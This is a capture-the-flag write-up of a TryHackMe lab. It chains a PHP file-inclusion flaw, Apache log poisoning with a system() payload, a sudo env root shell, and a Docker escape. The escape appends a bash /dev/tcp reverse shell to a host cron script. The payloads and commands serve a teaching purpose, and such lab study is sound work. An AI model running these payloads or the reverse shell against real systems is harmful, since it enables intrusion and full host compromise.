Dogcat
Lab Info
| Detail | Info |
|---|---|
| Room | Dogcat |
| Platform | TryHackMe |
| Difficulty | Medium |
| Type | CTF / LFI + Apache Log Poisoning RCE + Docker Container Escape |
| Knowledge Required | Web, PHP, LFI, Log Poisoning, Linux, Docker, Cron |
Tools Used
Nmap — Port scanning
Browser / Burp Suite — Manipulating the
viewandextparameters, and theUser-AgentheaderPHP filter wrappers (
php://filter) — Reading source code through the LFI without executing itNetcat — Catching the RCE shell and the eventual container-escape shell
GTFOBins — Confirming the
envsudo privesc
First Impressions
Four flags, and each one marks a genuinely different technique: LFI that only "works" for two specific filenames until you find the parameter that breaks that restriction, log poisoning to turn read-only file inclusion into code execution, a one-line GTFOBins sudo escalation, and — the part that makes this room worth doing — a Docker container escape through a script the host trusts blindly. Good room for seeing an LFI actually chained all the way to host-level compromise instead of stopping at "read /etc/passwd."
Recon
nmap -sC -sV -p- <ip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.38 (Debian)
Two ports, nothing to work with on SSH yet, so straight to the web app.
The App — Dogs, Cats, and a Suspicious Parameter
The site is a simple gallery: pick "A dog" or "A cat" and it renders a random image. Clicking either option shows up in the URL as a GET parameter:
http://<ip>/?view=dog
Any time a parameter's value looks like it's selecting a file to render, include() is the first thing worth suspecting. Requesting dog.php directly confirms the file exists and gets served the same way — so the app is very likely doing something close to:
include $_GET['view'] . ".php";
Reading Source Without Executing It
Directly traversing to another .php file would just get it executed, not shown — since the file input parameter is a PHP page, including something like index.php runs it as code rather than dumping it as text. The trick is the php://filter wrapper, which lets you pull a file's contents back base64-encoded instead of interpreted:
http://<ip>/?view=php://filter/read=convert.base64-encode/resource=dog/../index
(Path has to keep the string "dog" or "cat" in it somewhere — the app is filtering for those substrings before it'll include() anything at all.)
Decoding the response gives the actual source of index.php:
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
Two things worth noting: the "dog"/"cat" check is just a substring match — trivially satisfied by putting either word anywhere in the path, including inside a traversal sequence — and the .php extension isn't actually hardcoded, it's a GET parameter (ext) with a default value. Setting ext= empty removes it entirely, which means the LFI is no longer limited to .php files.
http://<ip>/?view=php://filter/read=convert.base64-encode/resource=dog/../../../../../../etc/passwd&ext=
/etc/passwd comes back base64-encoded, confirming full arbitrary file read.
Log Poisoning → RCE
With ext= empty, any file the web server can read gets include()'d as raw PHP — which means Apache's own access log is a viable target, since Apache logs the User-Agent header verbatim on every request. (This mechanism is standard log-poisoning and shows up consistently across other writeups of this room, even though it wasn't spelled out verbatim in the notes this was built from — worth double-checking the log path on your own instance.)
Set the User-Agent to a PHP payload (Burp's Repeater is the easy way to do this):
User-Agent: <?php system($_GET['wiz']);?>
Then include the log itself through the LFI:
GET /?view=dog/../../../../../../var/log/apache2/access.log&ext= HTTP/1.1
The log file gets included, PHP parses the injected tag as real code, and the wiz parameter is now a live command execution point:
http://<ip>/?view=dog/../../../../../../var/log/apache2/access.log&ext=&wiz=id
From here, dropping a proper reverse shell in as the User-Agent (URL-encoded first) and re-triggering the same LFI request gets a full shell — www-data.
flag.php sits right in the web root at this point (flag 1), and a second flag is one directory up in /var/www (flag 2).
PrivEsc — sudo env
sudo -l
(root) NOPASSWD: /usr/bin/env
Straight off GTFOBins — env with no argument restrictions is a direct root shell:
sudo env /bin/sh
Root inside the current environment, flag 3 grabbed from /root.
Except We're Not on the Host
Poking around confirms it: a .dockerenv file sitting at /, and /proc/1/cgroup showing container-style cgroup paths. (This specific check wasn't spelled out in the original notes — it's the standard way other writeups of this room confirmed the same thing, and it's worth running yourself since "root feels too easy" is the actual signal, not any one specific file.) Being "root" here is root inside a Docker container, not the actual host — worth checking for on any box that even hints at containers in its theme or description.
Container Escape — A Host-Mounted Cron Script
Searching for writable scripts across the filesystem:
find / -type f -name "*.sh" 2>/dev/null
Turns up /opt/backups/backup.sh — writable from inside the container, and clearly a backup script of some kind (the exact contents vary by writeup; one commonly cited version just runs a tar of a container directory out to a backup path). What actually matters isn't the script's specific contents, it's two things you can confirm directly: it's writable from inside the container, and — based on where it's mounted and the fact that a fourth flag exists at all — it's executed by the host on a schedule (cron), not by anything inside the container itself.
That combination is the entire vulnerability: since the mount is writable, anything appended to this file executes with the host's privileges the next time its cron job fires — not the container's. Worth confirming the script's real content on your own instance with cat /opt/backups/backup.sh before relying on any specific example.
echo "bash -i >& /dev/tcp/<attacker_ip>/6510 0>&1" >> /opt/backups/backup.sh
Listener up:
nc -lvnp 6510
Wait for the host's cron tick, and the callback lands as root on the actual host — a different machine entirely from the container root grabbed earlier. Flag 4 sits in /root of the host.
Flag Summary
| Flag | Method |
|---|---|
| Flag 1 | flag.php in the web root, reachable once code execution is achieved |
| Flag 2 | One directory up, in /var/www |
| Flag 3 | Container root via sudo env /bin/sh (GTFOBins) |
| Flag 4 | Host root, via a writable cron-run backup script mounted into the container |
Key Takeaways
Filtering by substring match is not the same as filtering by intent. The app's "must contain dog or cat" check is satisfied by embedding either word anywhere in a traversal path — a classic case of a check that looks like validation but doesn't actually constrain the input.
A hardcoded-looking value that's actually a GET parameter with a silent default (
ext) is exactly the kind of detail source review catches that black-box testing alone might miss. Reading the leaked source turned "LFI limited to .php files" into "full arbitrary file inclusion" in one step.Any log a webserver writes to and can also read back is a poisoning target the moment an LFI exists.
User-Agent,Referer, and request paths all get logged verbatim in most default configs — none of them should ever be treated as safe once something downstream caninclude()the log file itself.A sudo rule on
env(or dozens of other everyday binaries) is functionally unrestricted sudo. GTFOBins exists precisely because so many "harmless" utilities can spawn a shell — checking it should be automatic after anysudo -l.Root inside a container is not root.
.dockerenvand/proc/1/cgroupare the two fastest checks to confirm whether a "root" shell is actually contained — assuming otherwise on a box themed around containers wastes time chasing a flag that was never really there.Scripts that live inside a container but are actually mounted in from the host, and executed by the host's own cron, are a real and recurring container-escape pattern. Writability from inside the container plus execution context outside it is the whole vulnerability — worth actively hunting for on any Docker-themed room.
Day 16 of 30 ✅ — See You Tomorrow